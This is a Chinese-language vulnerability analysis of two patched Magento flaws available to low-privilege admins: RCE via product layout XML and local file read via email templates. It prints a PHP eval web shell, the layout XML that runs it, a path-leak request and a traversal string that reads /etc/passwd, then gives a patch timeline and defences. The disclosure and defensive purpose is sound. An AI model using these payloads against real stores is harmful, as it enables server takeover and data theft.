Magento-RCE&使用低管理权限读取本地文件
字数 1344 2025-08-29 08:31:48
Magento漏洞分析与利用:低权限管理员RCE与本地文件读取
摘要
本文档详细分析Magento电子商务平台中的两个关键漏洞:通过产品设计功能实现的远程代码执行(RCE)漏洞和通过电子邮件模板实现的本地文件读取漏洞。这两个漏洞都只需要低权限的管理员账户即可利用,对Magento系统的安全性构成严重威胁。
漏洞1:产品创建中的命令执行
漏洞原理
Magento的产品设计系统允许通过XML格式定义产品布局,其中<block>标签可实例化块,<action>标签可调用方法。关键漏洞存在于Magento\Framework\View\Element\Template类的fetchView方法中。
漏洞利用步骤
-
准备阶段:
- 获取一个具有产品创建权限的低权限管理员账户(如市场营销用户)
-
上传恶意文件:
- 创建一个新产品,添加"File"类型的自定义选项,允许上传.phtml文件
- 上传包含PHP代码的.phtml文件(如
<?php eval(stripslashes($_REQUEST[0])); ?>) - 文件将被存储在:
/pub/media/custom_options/quote/[首字母]/[次字母]/[MD5].phtml
-
获取系统路径:
- 发送特殊请求使系统报错,从而获取完整应用路径:
POST /magentoroot/index.php/magentoadmin/product_video/product_gallery/retrieveImage/key/[key]/?isAjax=true remote_image=https://i.vimeocdn.com/video/41237643_640.jpg%00&form_key={{your_form_key}} -
执行代码:
- 在产品"设计"选项卡中添加布局更新XML:
<referenceContainer name="sidebar.additional"> <block class="Magento\Backend\Block\Template" name="test"> <action method="fetchView"> <argument name="fileName" xsi:type="string">/path/to/magento/../../../../pub/media/custom_options/quote/b/l/[MD5].phtml</argument> </action> </block> </referenceContainer>- 访问产品前端页面触发代码执行
技术细节
- 路径遍历漏洞存在于
isPathInDirectories函数中,仅检查路径开头 - 仅处理.phtml(作为PHP)和.xhtml(作为纯文本)文件
- 文件上传位置可通过文件名首字母和内容MD5预测
漏洞2:电子邮件模板的本地文件读取
漏洞原理
Magento电子邮件模板支持{{css'path'}}指令来加载CSS文件内容,但未对路径进行安全检查,导致路径遍历漏洞。
漏洞利用方法
-
创建恶意模板:
- 使用具有电子邮件模板创建权限的低权限管理员账户
- 在模板中插入:
{{css file="../../../../../../../../../../../../../../../etc/passwd"}} -
触发漏洞:
- 预览或发送包含该模板的电子邮件
- 系统将读取并返回指定文件内容
技术细节
- 漏洞存在于
cssDirective和getCssFilesContent方法中 - 完全无路径遍历防护措施
- 可读取系统任意文件,包括配置文件、密码文件等敏感信息
漏洞修复时间线
-
RCE漏洞:
- 2018.09.11:首次披露
- 2018.11.28:Magento发布补丁(2.2.7和2.1.16版本)
- 奖金:5000美元
-
文件读取漏洞:
- 2018.08.09:首次披露
- 2018.11.28:Magento发布补丁(2.2.7和2.1.16版本)
- 奖金:2500美元
防御建议
- 立即升级到Magento 2.3.0、2.2.7或2.1.16及以上版本
- 限制低权限管理员的功能,特别是产品设计和邮件模板相关权限
- 实施严格的文件上传过滤,禁止上传可执行文件类型
- 对所有文件路径操作添加严格的验证和规范化处理
- 监控系统日志中可疑的文件访问和代码执行行为
总结
这两个漏洞展示了即使低权限的管理员账户也可能对系统造成严重威胁。Magento管理员应定期审查权限分配并及时应用安全更新,以防止此类漏洞被利用。